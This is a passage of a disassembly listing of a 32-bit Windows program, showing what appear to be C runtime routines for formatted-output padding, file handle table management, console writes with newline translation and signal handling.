ptr [eax+edx], 25h jmp short loc_40A422 ; --------------------------------------------------------------------------- loc_40A3F7: ; CODE XREF: sub_409CF0+29j ; sub_409CF0+3Aj ... mov eax, [ebp+arg_0] mov edx, [eax+14h] lea ecx, [edx+1] mov [eax+14h], ecx cmp [ebp+arg_8], 0 jz short loc_40A412 movzx eax, [ebp+arg_8] mov [ebp+var_28], eax jmp short loc_40A419 ; --------------------------------------------------------------------------- loc_40A412: ; CODE XREF: sub_409CF0+717j mov [ebp+var_28], 25h loc_40A419: ; CODE XREF: sub_409CF0+720j mov eax, [ebp+arg_C] mov ecx, [ebp+var_28] mov [eax+edx], cl loc_40A422: ; CODE XREF: sub_409CF0+84j ; sub_409CF0+BDj ... xor eax, eax loc_40A424: ; CODE XREF: sub_409CF0+C6j ; sub_409CF0+6F0j pop ebx mov esp, ebp pop ebp retn sub_409CF0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A430 proc near ; CODE XREF: sub_4088A0+25Ap ; sub_40AF70+D7p ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 8 push ebx push esi push edi mov ebx, [ebp+arg_0] mov eax, [ebx+34h] sub eax, [ebx+14h] sub eax, [ebx+18h] sub eax, [ebx+1Ch] sub eax, [ebx+20h] sub eax, [ebx+24h] sub eax, [ebx+28h] mov [ebp+var_4], eax test word ptr [ebx+38h], 4 jnz short loc_40A4AF cmp [ebp+var_4], 0 jle short loc_40A4AF mov esi, [ebp+var_4] jmp short loc_40A4AB ; --------------------------------------------------------------------------- loc_40A467: ; CODE XREF: sub_40A430+7Dj cmp esi, 20h jbe short loc_40A475 mov [ebp+var_8], 20h jmp short loc_40A47A ; --------------------------------------------------------------------------- loc_40A475: ; CODE XREF: sub_40A430+3Aj mov eax, esi mov [ebp+var_8], eax loc_40A47A: ; CODE XREF: sub_40A430+43j mov eax, [ebp+var_8] mov edi, eax test edi, edi jle short loc_40A4A9 push edi push offset asc_40FE08 ; " " mov eax, [ebx+0Ch] push eax call dword ptr [ebx+8] add esp, 0Ch lea edx, [ebx+0Ch] mov [edx], eax test eax, eax jz short loc_40A4A1 add [ebx+30h], edi jmp short loc_40A4A9 ; --------------------------------------------------------------------------- loc_40A4A1: ; CODE XREF: sub_40A430+6Aj or eax, 0FFFFFFFFh jmp loc_40A697 ; --------------------------------------------------------------------------- loc_40A4A9: ; CODE XREF: sub_40A430+51j ; sub_40A430+6Fj sub esi, edi loc_40A4AB: ; CODE XREF: sub_40A430+35j test esi, esi jg short loc_40A467 loc_40A4AF: ; CODE XREF: sub_40A430+2Aj ; sub_40A430+30j cmp dword ptr [ebx+14h], 0 jle short loc_40A4E0 mov eax, [ebx+14h] push eax mov eax, [ebp+arg_4] push eax mov eax, [ebx+0Ch] push eax call dword ptr [ebx+8] add esp, 0Ch lea edx, [ebx+0Ch] mov [edx], eax test eax, eax jz short loc_40A4D8 mov eax, [ebx+14h] add [ebx+30h], eax jmp short loc_40A4E0 ; --------------------------------------------------------------------------- loc_40A4D8: ; CODE XREF: sub_40A430+9Ej or eax, 0FFFFFFFFh jmp loc_40A697 ; --------------------------------------------------------------------------- loc_40A4E0: ; CODE XREF: sub_40A430+83j ; sub_40A430+A6j cmp dword ptr [ebx+18h], 0 jle short loc_40A533 mov esi, [ebx+18h] jmp short loc_40A52F ; --------------------------------------------------------------------------- loc_40A4EB: ; CODE XREF: sub_40A430+101j cmp esi, 20h jbe short loc_40A4F9 mov [ebp+var_8], 20h jmp short loc_40A4FE ; --------------------------------------------------------------------------- loc_40A4F9: ; CODE XREF: sub_40A430+BEj mov eax, esi mov [ebp+var_8], eax loc_40A4FE: ; CODE XREF: sub_40A430+C7j mov eax, [ebp+var_8] mov edi, eax test edi, edi jle short loc_40A52D push edi push offset a00000000000000 ; "00000000000000000000000000000000" mov eax, [ebx+0Ch] push eax call dword ptr [ebx+8] add esp, 0Ch lea edx, [ebx+0Ch] mov [edx], eax test eax, eax jz short loc_40A525 add [ebx+30h], edi jmp short loc_40A52D ; --------------------------------------------------------------------------- loc_40A525: ; CODE XREF: sub_40A430+EEj or eax, 0FFFFFFFFh jmp loc_40A697 ; --------------------------------------------------------------------------- loc_40A52D: ; CODE XREF: sub_40A430+D5j ; sub_40A430+F3j sub esi, edi loc_40A52F: ; CODE XREF: sub_40A430+B9j test esi, esi jg short loc_40A4EB loc_40A533: ; CODE XREF: sub_40A430+B4j cmp dword ptr [ebx+1Ch], 0 jle short loc_40A564 mov eax, [ebx+1Ch] push eax mov eax, [ebx+10h] push eax mov eax, [ebx+0Ch] push eax call dword ptr [ebx+8] add esp, 0Ch lea edx, [ebx+0Ch] mov [edx], eax test eax, eax jz short loc_40A55C mov eax, [ebx+1Ch] add [ebx+30h], eax jmp short loc_40A564 ; --------------------------------------------------------------------------- loc_40A55C: ; CODE XREF: sub_40A430+122j or eax, 0FFFFFFFFh jmp loc_40A697 ; --------------------------------------------------------------------------- loc_40A564: ; CODE XREF: sub_40A430+107j ; sub_40A430+12Aj cmp dword ptr [ebx+20h], 0 jle short loc_40A5B7 mov esi, [ebx+20h] jmp short loc_40A5B3 ; --------------------------------------------------------------------------- loc_40A56F: ; CODE XREF: sub_40A430+185j cmp esi, 20h jbe short loc_40A57D mov [ebp+var_8], 20h jmp short loc_40A582 ; --------------------------------------------------------------------------- loc_40A57D: ; CODE XREF: sub_40A430+142j mov eax, esi mov [ebp+var_8], eax loc_40A582: ; CODE XREF: sub_40A430+14Bj mov eax, [ebp+var_8] mov edi, eax test edi, edi jle short loc_40A5B1 push edi push offset a00000000000000 ; "00000000000000000000000000000000" mov eax, [ebx+0Ch] push eax call dword ptr [ebx+8] add esp, 0Ch lea edx, [ebx+0Ch] mov [edx], eax test eax, eax jz short loc_40A5A9 add [ebx+30h], edi jmp short loc_40A5B1 ; --------------------------------------------------------------------------- loc_40A5A9: ; CODE XREF: sub_40A430+172j or eax, 0FFFFFFFFh jmp loc_40A697 ; --------------------------------------------------------------------------- loc_40A5B1: ; CODE XREF: sub_40A430+159j ; sub_40A430+177j sub esi, edi loc_40A5B3: ; CODE XREF: sub_40A430+13Dj test esi, esi jg short loc_40A56F loc_40A5B7: ; CODE XREF: sub_40A430+138j cmp dword ptr [ebx+24h], 0 jle short loc_40A5ED mov eax, [ebx+24h] push eax mov eax, [ebx+1Ch] mov edx, [ebx+10h] add eax, edx push eax mov eax, [ebx+0Ch] push eax call dword ptr [ebx+8] add esp, 0Ch lea edx, [ebx+0Ch] mov [edx], eax test eax, eax jz short loc_40A5E5 mov eax, [ebx+24h] add [ebx+30h], eax jmp short loc_40A5ED ; --------------------------------------------------------------------------- loc_40A5E5: ; CODE XREF: sub_40A430+1ABj or eax, 0FFFFFFFFh jmp loc_40A697 ; --------------------------------------------------------------------------- loc_40A5ED: ; CODE XREF: sub_40A430+18Bj ; sub_40A430+1B3j cmp dword ptr [ebx+28h], 0 jle short loc_40A63D mov esi, [ebx+28h] jmp short loc_40A639 ; --------------------------------------------------------------------------- loc_40A5F8: ; CODE XREF: sub_40A430+20Bj cmp esi, 20h jbe short loc_40A606 mov [ebp+var_8], 20h jmp short loc_40A60B ; --------------------------------------------------------------------------- loc_40A606: ; CODE XREF: sub_40A430+1CBj mov eax, esi mov [ebp+var_8], eax loc_40A60B: ; CODE XREF: sub_40A430+1D4j mov eax, [ebp+var_8] mov edi, eax test edi, edi jle short loc_40A637 push edi push offset a00000000000000 ; "00000000000000000000000000000000" mov eax, [ebx+0Ch] push eax call dword ptr [ebx+8] add esp, 0Ch lea edx, [ebx+0Ch] mov [edx], eax test eax, eax jz short loc_40A632 add [ebx+30h], edi jmp short loc_40A637 ; --------------------------------------------------------------------------- loc_40A632: ; CODE XREF: sub_40A430+1FBj or eax, 0FFFFFFFFh jmp short loc_40A697 ; --------------------------------------------------------------------------- loc_40A637: ; CODE XREF: sub_40A430+1E2j ; sub_40A430+200j sub esi, edi loc_40A639: ; CODE XREF: sub_40A430+1C6j test esi, esi jg short loc_40A5F8 loc_40A63D: ; CODE XREF: sub_40A430+1C1j test word ptr [ebx+38h], 4 jz short loc_40A695 cmp [ebp+var_4], 0 jle short loc_40A695 mov esi, [ebp+var_4] jmp short loc_40A691 ; --------------------------------------------------------------------------- loc_40A650: ; CODE XREF: sub_40A430+263j cmp esi, 20h jbe short loc_40A65E mov [ebp+var_8], 20h jmp short loc_40A663 ; --------------------------------------------------------------------------- loc_40A65E: ; CODE XREF: sub_40A430+223j mov eax, esi mov [ebp+var_8], eax loc_40A663: ; CODE XREF: sub_40A430+22Cj mov eax, [ebp+var_8] mov edi, eax test edi, edi jle short loc_40A68F push edi push offset asc_40FE08 ; " " mov eax, [ebx+0Ch] push eax call dword ptr [ebx+8] add esp, 0Ch lea edx, [ebx+0Ch] mov [edx], eax test eax, eax jz short loc_40A68A add [ebx+30h], edi jmp short loc_40A68F ; --------------------------------------------------------------------------- loc_40A68A: ; CODE XREF: sub_40A430+253j or eax, 0FFFFFFFFh jmp short loc_40A697 ; --------------------------------------------------------------------------- loc_40A68F: ; CODE XREF: sub_40A430+23Aj ; sub_40A430+258j sub esi, edi loc_40A691: ; CODE XREF: sub_40A430+21Ej test esi, esi jg short loc_40A650 loc_40A695: ; CODE XREF: sub_40A430+213j ; sub_40A430+219j xor eax, eax loc_40A697: ; CODE XREF: sub_40A430+74j ; sub_40A430+ABj ... pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_40A430 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A6A0 proc near ; CODE XREF: sub_408BE0+101p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ebx push esi mov ebx, [ebp+arg_4] mov eax, ebx and eax, 3 mov esi, dword_40FE4C[eax*4] test ebx, 4 jz short loc_40A6BF or esi, 8 loc_40A6BF: ; CODE XREF: sub_40A6A0+1Aj test ebx, 8 jz short loc_40A6CD or esi, 200h loc_40A6CD: ; CODE XREF: sub_40A6A0+25j test ebx, 10h jz short loc_40A6DB or esi, 100h loc_40A6DB: ; CODE XREF: sub_40A6A0+33j test ebx, 20h jz short loc_40A6EB or esi, 8000h jmp short loc_40A6F1 ; --------------------------------------------------------------------------- loc_40A6EB: ; CODE XREF: sub_40A6A0+41j or esi, 4000h loc_40A6F1: ; CODE XREF: sub_40A6A0+49j push 180h push esi mov eax, [ebp+arg_0] push eax call sub_40B970 add esp, 0Ch pop esi pop ebx pop ebp retn sub_40A6A0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_40A710 proc near ; CODE XREF: sub_408D30+Dp push 6 call sub_40BD80 pop ecx push 1 call sub_407AA0 pop ecx retn sub_40A710 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A730 proc near ; CODE XREF: sub_40A920+4Bp ; sub_40CD10+ADp var_411 = byte ptr -411h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 414h push ebx push esi push edi mov [ebp+var_C], 0 mov [ebp+var_4], 0 cmp [ebp+arg_8], 0 jnz short loc_40A757 xor eax, eax jmp loc_40A919 ; --------------------------------------------------------------------------- loc_40A757: ; CODE XREF: sub_40A730+1Ej mov eax, [ebp+arg_0] mov edx, eax and edx, 1Fh imul edx, 24h sar eax, 5 mov eax, dword_413988[eax*4] test byte ptr [eax+edx+4], 20h jz short loc_40A783 push 2 push 0 mov eax, [ebp+arg_0] push eax call sub_40BEB0 add esp, 0Ch loc_40A783: ; CODE XREF: sub_40A730+41j mov eax, [ebp+arg_0] mov edx, eax and edx, 1Fh imul edx, 24h sar eax, 5 mov eax, dword_413988[eax*4] test byte ptr [eax+edx+4], 80h jz loc_40A864 mov esi, [ebp+arg_4] mov [ebp+var_10], 0 jmp loc_40A850 ; --------------------------------------------------------------------------- loc_40A7B2: ; CODE XREF: sub_40A730+12Cj lea edi, [ebp+var_411] jmp short loc_40A7D2 ; --------------------------------------------------------------------------- loc_40A7BA: ; CODE XREF: sub_40A730+C0j mov eax, esi inc esi mov bl, [eax] cmp bl, 0Ah jnz short loc_40A7CD inc [ebp+var_4] mov eax, edi inc edi mov byte ptr [eax], 0Dh loc_40A7CD: ; CODE XREF: sub_40A730+92j mov eax, edi inc edi mov [eax], bl loc_40A7D2: ; CODE XREF: sub_40A730+88j lea eax, [ebp+var_411] mov edx, edi sub edx, eax cmp edx, 400h jge short loc_40A7F2 mov eax, [ebp+arg_4] mov edx, esi sub edx, eax mov eax, edx cmp eax, [ebp+arg_8] jb short loc_40A7BA loc_40A7F2: ; CODE XREF: sub_40A730+B2j push 0 lea eax, [ebp+var_8] push eax lea eax, [ebp+var_411] mov edx, edi sub edx, eax mov eax, edx push eax lea eax, [ebp+var_411] push eax mov eax, [ebp+arg_0] mov edx, eax and edx, 1Fh imul edx, 24h sar eax, 5 mov eax, dword_413988[eax*4] mov eax, [eax+edx] push eax call dword_411E08 test eax, eax jz short loc_40A845 mov eax, [ebp+var_8] add [ebp+var_C], eax lea edx, [ebp+var_411] mov ecx, edi sub ecx, edx cmp eax, ecx jge short loc_40A850 jmp short loc_40A8AD ; --------------------------------------------------------------------------- loc_40A845: ; CODE XREF: sub_40A730+FDj call dword_411CE8 mov [ebp+var_10], eax jmp short loc_40A8AD ; --------------------------------------------------------------------------- loc_40A850: ; CODE XREF: sub_40A730+7Dj ; sub_40A730+111j mov eax, [ebp+arg_4] mov edx, esi sub edx, eax mov eax, edx cmp eax, [ebp+arg_8] jb loc_40A7B2 jmp short loc_40A8AD ; --------------------------------------------------------------------------- loc_40A864: ; CODE XREF: sub_40A730+6Dj push 0 lea eax, [ebp+var_8] push eax mov eax, [ebp+arg_8] push eax mov eax, [ebp+arg_4] push eax mov eax, [ebp+arg_0] mov edx, eax and edx, 1Fh imul edx, 24h sar eax, 5 mov eax, dword_413988[eax*4] mov eax, [eax+edx] push eax call dword_411E08 test eax, eax jz short loc_40A8A4 mov [ebp+var_10], 0 mov eax, [ebp+var_8] mov [ebp+var_C], eax jmp short loc_40A8AD ; --------------------------------------------------------------------------- loc_40A8A4: ; CODE XREF: sub_40A730+163j call dword_411CE8 mov [ebp+var_10], eax loc_40A8AD: ; CODE XREF: sub_40A730+113j ; sub_40A730+11Ej ... cmp [ebp+var_C], 0 jnz short loc_40A913 cmp [ebp+var_10], 0 jz short loc_40A8DB cmp [ebp+var_10], 5 jnz short loc_40A8CC call sub_408460 mov dword ptr [eax], 9 jmp short loc_40A8D6 ; --------------------------------------------------------------------------- loc_40A8CC: ; CODE XREF: sub_40A730+18Dj mov eax, [ebp+var_10] push eax call sub_408300 pop ecx loc_40A8D6: ; CODE XREF: sub_40A730+19Aj or eax, 0FFFFFFFFh jmp short loc_40A919 ; --------------------------------------------------------------------------- loc_40A8DB: ; CODE XREF: sub_40A730+187j mov eax, [ebp+arg_0] mov edx, eax and edx, 1Fh imul edx, 24h sar eax, 5 mov eax, dword_413988[eax*4] test byte ptr [eax+edx+4], 40h jz short loc_40A903 mov eax, [ebp+arg_4] cmp byte ptr [eax], 1Ah jnz short loc_40A903 xor eax, eax jmp short loc_40A919 ; --------------------------------------------------------------------------- loc_40A903: ; CODE XREF: sub_40A730+1C5j ; sub_40A730+1CDj call sub_408460 mov dword ptr [eax], 1Ch or eax, 0FFFFFFFFh jmp short loc_40A919 ; --------------------------------------------------------------------------- loc_40A913: ; CODE XREF: sub_40A730+181j mov eax, [ebp+var_C] sub eax, [ebp+var_4] loc_40A919: ; CODE XREF: sub_40A730+22j ; sub_40A730+1A9j ... pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_40A730 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A920 proc near ; CODE XREF: sub_408D60+79p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ebx push esi mov ebx, [ebp+arg_0] cmp ebx, dword_413A88 jnb short loc_40A94B mov eax, ebx and eax, 1Fh imul eax, 24h mov edx, ebx sar edx, 5 mov edx, dword_413988[edx*4] test byte ptr [edx+eax+4], 1 jnz short loc_40A95B loc_40A94B: ; CODE XREF: sub_40A920+Ej call sub_408460 mov dword ptr [eax], 9 or eax, 0FFFFFFFFh jmp short loc_40A97E ; --------------------------------------------------------------------------- loc_40A95B: ; CODE XREF: sub_40A920+29j push ebx call sub_40AD40 pop ecx mov eax, [ebp+arg_8] push eax mov eax, [ebp+arg_4] push eax push ebx call sub_40A730 add esp, 0Ch mov esi, eax push ebx call sub_40ADA0 pop ecx mov eax, esi loc_40A97E: ; CODE XREF: sub_40A920+39j pop esi pop ebx pop ebp retn sub_40A920 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A990 proc near ; CODE XREF: DMN0:loc_40ACEAp ; sub_40B9A0:loc_40BB9Dp var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 4 push ebx push esi push edi or edi, 0FFFFFFFFh push 4 call sub_408800 pop ecx xor esi, esi loc_40A9A6: ; CODE XREF: sub_40A990+128j cmp dword_413988[esi*4], 0 jz loc_40AA5D mov ebx, dword_413988[esi*4] jmp loc_40AA42 ; --------------------------------------------------------------------------- loc_40A9C0: ; CODE XREF: sub_40A990+C0j test byte ptr [ebx+4], 1 jnz short loc_40AA3F cmp dword ptr [ebx+8], 0 jnz short loc_40A9EF push 3 call sub_408800 pop ecx cmp dword ptr [ebx+8], 0 jnz short loc_40A9E7 lea eax, [ebx+0Ch] push eax call dword_411CC8 inc dword ptr [ebx+8] loc_40A9E7: ; CODE XREF: sub_40A990+48j push 3 call sub_408880 pop ecx loc_40A9EF: ; CODE XREF: sub_40A990+3Aj lea eax, [ebx+0Ch] push eax call dword_411CCC test byte ptr [ebx+4], 1 jz short loc_40AA0B lea eax, [ebx+0Ch] push eax call dword_411CD0 jmp short loc_40AA3F ; --------------------------------------------------------------------------- loc_40AA0B: ; CODE XREF: sub_40A990+6Dj mov dword ptr [ebx], 0FFFFFFFFh mov eax, esi shl eax, 5 mov [ebp+var_4], eax mov edx, dword_413988[esi*4] mov ecx, ebx sub ecx, edx mov eax, ecx push eax mov edx, 38E38E39h imul edx pop eax shr eax, 1Fh sar edx, 3 add eax, edx mov edx, [ebp+var_4] lea edi, [eax+edx] jmp short loc_40AA56 ; --------------------------------------------------------------------------- loc_40AA3F: ; CODE XREF: sub_40A990+34j ; sub_40A990+79j add ebx, 24h loc_40AA42: ; CODE XREF: sub_40A990+2Bj mov eax, dword_413988[esi*4] add eax, 480h cmp ebx, eax jb loc_40A9C0 loc_40AA56: ; CODE XREF: sub_40A990+ADj cmp edi, 0FFFFFFFFh jz short loc_40AAB4 jmp short loc_40AABE ; --------------------------------------------------------------------------- loc_40AA5D: ; CODE XREF: sub_40A990+1Ej push 480h call sub_408260 pop ecx mov ebx, eax test eax, eax jz short loc_40AABE mov dword_413988[esi*4], ebx add dword_413A88, 20h jmp short loc_40AA96 ; --------------------------------------------------------------------------- loc_40AA7E: ; CODE XREF: sub_40A990+114j mov byte ptr [ebx+4], 0 mov dword ptr [ebx], 0FFFFFFFFh mov byte ptr [ebx+5], 0Ah mov dword ptr [ebx+8], 0 add ebx, 24h loc_40AA96: ; CODE XREF: sub_40A990+ECj mov eax, dword_413988[esi*4] add eax, 480h cmp ebx, eax jb short loc_40AA7E mov edi, esi shl edi, 5 push edi call sub_40AD40 pop ecx jmp short loc_40AABE ; --------------------------------------------------------------------------- loc_40AAB4: ; CODE XREF: sub_40A990+C9j inc esi cmp esi, 40h jl loc_40A9A6 loc_40AABE: ; CODE XREF: sub_40A990+CBj ; sub_40A990+DCj ... push 4 call sub_408880 pop ecx mov eax, edi pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_40A990 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_40AAD0 proc near ; CODE XREF: sub_408E40+5Cp arg_0 = dword ptr 4 push ebx mov ebx, [esp+4+arg_0] cmp ebx, dword_413A88 jnb loc_40AB5F mov eax, ebx and eax, 1Fh imul eax, 24h mov edx, ebx sar edx, 5 mov edx, dword_413988[edx*4] add eax, edx test byte ptr [eax+4], 1 jz short loc_40AB5F cmp dword ptr [eax], 0FFFFFFFFh jz short loc_40AB5F test ebx, ebx jz short loc_40AB15 cmp ebx, 1 jz short loc_40AB24 cmp ebx, 2 jz short loc_40AB33 jmp short loc_40AB40 ; --------------------------------------------------------------------------- loc_40AB15: ; CODE XREF: sub_40AAD0+37j push 0 push 0FFFFFFF6h call dword_411E0C jmp short loc_40AB40 ; --------------------------------------------------------------------------- loc_40AB24: ; CODE XREF: sub_40AAD0+3Cj push 0 push 0FFFFFFF5h call dword_411E0C jmp short loc_40AB40 ; --------------------------------------------------------------------------- loc_40AB33: ; CODE XREF: sub_40AAD0+41j push 0 push 0FFFFFFF4h call dword_411E0C loc_40AB40: ; CODE XREF: sub_40AAD0+43j ; sub_40AAD0+52j ... mov eax, ebx and eax, 1Fh imul eax, 24h mov edx, ebx sar edx, 5 mov edx, dword_413988[edx*4] mov dword ptr [edx+eax], 0FFFFFFFFh xor eax, eax jmp short loc_40AB6D ; --------------------------------------------------------------------------- loc_40AB5F: ; CODE XREF: sub_40AAD0+Bj ; sub_40AAD0+2Bj ... call sub_408460 mov dword ptr [eax], 9 or eax, 0FFFFFFFFh loc_40AB6D: ; CODE XREF: sub_40AAD0+8Dj pop ebx retn sub_40AAD0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_40AB70 proc near ; CODE XREF: DMN0:0040AD0Cp ; sub_40B9A0+2B4p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx mov ebx, [esp+4+arg_0] cmp ebx, dword_413A88 jnb loc_40AC01 mov eax, ebx and eax, 1Fh imul eax, 24h mov edx, ebx sar edx, 5 mov edx, dword_413988[edx*4] cmp dword ptr [edx+eax], 0FFFFFFFFh jnz short loc_40AC01 test ebx, ebx jz short loc_40ABAE cmp ebx, 1 jz short loc_40ABC0 cmp ebx, 2 jz short loc_40ABD2 jmp short loc_40ABE2 ; --------------------------------------------------------------------------- loc_40ABAE: ; CODE XREF: sub_40AB70+30j mov eax, [esp+4+arg_4] push eax push 0FFFFFFF6h call dword_411E0C jmp short loc_40ABE2 ; --------------------------------------------------------------------------- loc_40ABC0: ; CODE XREF: sub_40AB70+35j mov eax, [esp+4+arg_4] push eax push 0FFFFFFF5h call dword_411E0C jmp short loc_40ABE2 ; --------------------------------------------------------------------------- loc_40ABD2: ; CODE XREF: sub_40AB70+3Aj mov eax, [esp+4+arg_4] push eax push 0FFFFFFF4h call dword_411E0C loc_40ABE2: ; CODE XREF: sub_40AB70+3Cj ; sub_40AB70+4Ej ... mov eax, ebx and eax, 1Fh imul eax, 24h mov edx, ebx sar edx, 5 mov edx, dword_413988[edx*4] mov ecx, [esp+4+arg_4] mov [edx+eax], ecx xor eax, eax jmp short loc_40AC0F ; --------------------------------------------------------------------------- loc_40AC01: ; CODE XREF: sub_40AB70+Bj ; sub_40AB70+2Cj call sub_408460 mov dword ptr [eax], 9 or eax, 0FFFFFFFFh loc_40AC0F: ; CODE XREF: sub_40AB70+8Fj pop ebx retn sub_40AB70 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_40AC20 proc near ; CODE XREF: sub_408E40+Cp ; sub_408E40+25p ... arg_0 = dword ptr 4 push ebx mov ebx, [esp+4+arg_0] cmp ebx, dword_413A88 jnb short loc_40AC61 mov eax, ebx and eax, 1Fh imul eax, 24h mov edx, ebx sar edx, 5 mov edx, dword_413988[edx*4] test byte ptr [edx+eax+4], 1 jz short loc_40AC61 mov eax, ebx and eax, 1Fh imul eax, 24h mov edx, ebx sar edx, 5 mov edx, dword_413988[edx*4] mov eax, [edx+eax] jmp short loc_40AC6F ; --------------------------------------------------------------------------- loc_40AC61: ; CODE XREF: sub_40AC20+Bj ; sub_40AC20+26j call sub_408460 mov dword ptr [eax], 9 or eax, 0FFFFFFFFh loc_40AC6F: ; CODE XREF: sub_40AC20+3Fj pop ebx retn sub_40AC20 endp ; --------------------------------------------------------------------------- align 10h mov eax, [esp+4] push eax call sub_40AC20 pop ecx retn ; --------------------------------------------------------------------------- align 10h push ebx push esi push edi xor bl, bl test byte ptr [esp+14h], 8 jz short loc_40AC9F or bl, 20h loc_40AC9F: ; CODE XREF: DMN0:0040AC9Aj test word ptr [esp+14h], 4000h jz short loc_40ACAB or bl, 80h loc_40ACAB: ; CODE XREF: DMN0:0040ACA6j test byte ptr [esp+14h], 80h jz short loc_40ACB5 or bl, 10h loc_40ACB5: ; CODE XREF: DMN0:0040ACB0j mov eax, [esp+10h] push eax call dword_411DEC mov edi, eax test edi, edi jnz short loc_40ACD8 call dword_411CE8 push eax call sub_408300 pop ecx or eax, 0FFFFFFFFh jmp short loc_40AD31 ; --------------------------------------------------------------------------- loc_40ACD8: ; CODE XREF: DMN0:0040ACC4j cmp edi, 2 jnz short loc_40ACE2 or bl, 40h jmp short loc_40ACEA ; --------------------------------------------------------------------------- loc_40ACE2: ; CODE XREF: DMN0:0040ACDBj cmp edi, 3 jnz short loc_40ACEA or bl, 8 loc_40ACEA: ; CODE XREF: DMN0:0040ACE0j ; DMN0:0040ACE5j call sub_40A990 mov esi, eax cmp eax, 0FFFFFFFFh jnz short loc_40AD06 call sub_408460 mov dword ptr [eax], 18h or eax, 0FFFFFFFFh jmp short loc_40AD31 ; --------------------------------------------------------------------------- loc_40AD06: ; CODE XREF: DMN0:0040ACF4j mov eax, [esp+10h] push eax push esi call sub_40AB70 add esp, 8 or bl, 1 mov eax, esi and eax, 1Fh imul eax, 24h mov edx, esi sar edx, 5 mov edx, dword_413988[edx*4] mov [edx+eax+4], bl mov eax, esi loc_40AD31: ; CODE XREF: DMN0:0040ACD6j ; DMN0:0040AD04j pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_40AD40 proc near ; CODE XREF: sub_408EE0+3Ap ; sub_40A920+3Cp ... arg_0 = dword ptr 4 push ebx push esi mov ebx, [esp+8+arg_0] mov eax, ebx and eax, 1Fh imul eax, 24h mov edx, ebx sar edx, 5 mov edx, dword_413988[edx*4] lea esi, [edx+eax] cmp dword ptr [esi+8], 0 jnz short loc_40AD86 push 3 call sub_408800 pop ecx cmp dword ptr [esi+8], 0 jnz short loc_40AD7E lea eax, [esi+0Ch] push eax call dword_411CC8 inc dword ptr [esi+8] loc_40AD7E: ; CODE XREF: sub_40AD40+2Fj push 3 call sub_408880 pop ecx loc_40AD86: ; CODE XREF: sub_40AD40+21j lea eax, [esi+0Ch] push eax call dword_411CCC pop esi pop ebx retn sub_40AD40 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_40ADA0 proc near ; CODE XREF: sub_408EE0+4Ap ; sub_40A920+56p ... arg_0 = dword ptr 4 push ebx mov ebx, [esp+4+arg_0] mov eax, ebx and eax, 1Fh imul eax, 24h mov edx, ebx sar edx, 5 mov edx, dword_413988[edx*4] lea eax, [edx+eax+0Ch] push eax call dword_411CD0 pop ebx retn sub_40ADA0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_40ADD0 proc near ; DATA XREF: sub_40AE10+A4o ; sub_44D131+A4o push ebx push 1 push 2 call sub_40AE10 add esp, 8 mov ebx, eax cmp ebx, 0FFFFFFFFh jz short loc_40ADEB test ebx, ebx jnz short loc_40ADEF loc_40ADEB: ; CODE XREF: sub_40ADD0+15j xor eax, eax jmp short loc_40AE0A ; --------------------------------------------------------------------------- loc_40ADEF: ; CODE XREF: sub_40ADD0+19j cmp ebx, 1 jz short loc_40AE05 push 0 push 2 call sub_40AE10 add esp, 8 push 2 call ebx pop ecx loc_40AE05: ; CODE XREF: sub_40ADD0+22j mov eax, 1 loc_40AE0A: ; CODE XREF: sub_40ADD0+1Dj pop ebx retn 4 sub_40ADD0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40AE10 proc near ; CODE XREF: sub_409260+18p ; sub_409260+3Bp ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 8 push ebx push esi push edi mov ebx, [ebp+arg_0] test ebx, ebx jle short loc_40AE2E cmp ebx, 2Ch jge short loc_40AE2E cmp [ebp+arg_4], 0FFFFFFFFh jnz short loc_40AE36 loc_40AE2E: ; CODE XREF: sub_40AE10+Ej ; sub_40AE10+13j or eax, 0FFFFFFFFh jmp loc_40AEE6 ; --------------------------------------------------------------------------- loc_40AE36: ; CODE XREF: sub_40AE10+1Cj cmp ebx, 4 jz short loc_40AE45 cmp ebx, 8 jz short loc_40AE45 cmp ebx, 0Bh jnz short loc_40AEA4 loc_40AE45: ; CODE XREF: sub_40AE10+29j ; sub_40AE10+2Ej call sub_409150 mov [ebp+var_8], eax mov eax, [eax+34h] cmp eax, offset dword_4117E4 jnz short loc_40AE85 push 0B0h call sub_408260 pop ecx mov edx, [ebp+var_8] mov [edx+34h], eax test eax, eax jz short loc_40AE80 mov eax, [ebp+var_8] mov edi, [eax+34h] mov esi, offset dword_4117E4 mov ecx, 2Ch rep movsd 